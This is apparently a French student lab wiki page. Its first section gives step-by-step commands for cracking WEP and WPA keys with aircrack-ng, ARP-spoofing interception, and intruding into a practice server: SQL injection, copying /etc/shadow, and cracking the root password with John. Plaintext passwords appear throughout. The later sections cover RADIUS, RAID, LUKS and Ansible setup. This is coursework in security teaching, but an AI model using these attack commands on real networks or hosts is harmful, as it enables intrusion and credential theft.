 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/iptables/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Allow ports INPUT tcp&lt;br /&gt;
   iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     destination_port: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     jump: ACCEPT&lt;br /&gt;
     ctstate: NEW,ESTABLISHED&lt;br /&gt;
   loop: &amp;quot;{ { iptables_accepted_tcp_ports } }&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 - name: Allow ports INPUT udp&lt;br /&gt;
   iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     protocol: udp&lt;br /&gt;
     destination_port: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     jump: ACCEPT&lt;br /&gt;
     ctstate: NEW,ESTABLISHED&lt;br /&gt;
   loop: &amp;quot;{ { iptables_accepted_udp_ports } }&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 - name: Set the policy for the INPUT chain to DROP&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     policy: DROP&lt;br /&gt;
&lt;br /&gt;
Ici on ajoute tous les ports que l'on veut ouvert en premier, puis on passe la &amp;lt;code&amp;gt;POLICY&amp;lt;/code&amp;gt; à DROP pour ne pas accepter les autres connexions. (il n'y a pas d'espace entre les accolades normalement mais le WIKI nous emmerde)&lt;br /&gt;
&lt;br /&gt;
Nos ports sont variabilisés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/iptables/defaults/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 iptables_accepted_tcp_ports:&lt;br /&gt;
   - 8600&lt;br /&gt;
   - 8500&lt;br /&gt;
   - 8501&lt;br /&gt;
   - 8502&lt;br /&gt;
   - 8301&lt;br /&gt;
   - 8302&lt;br /&gt;
   - 8300 &lt;br /&gt;
   - 22&lt;br /&gt;
   - 80&lt;br /&gt;
   - 443&lt;br /&gt;
 &lt;br /&gt;
 iptables_accepted_udp_ports:&lt;br /&gt;
   - 8600&lt;br /&gt;
   - 8301&lt;br /&gt;
   - 8302&lt;br /&gt;
   - 22&lt;br /&gt;
   - 80&lt;br /&gt;
   - 443&lt;br /&gt;
&lt;br /&gt;
voilà&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: config.json&lt;br /&gt;
     dest: /etc/consul/server.json&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 1,&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57986</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
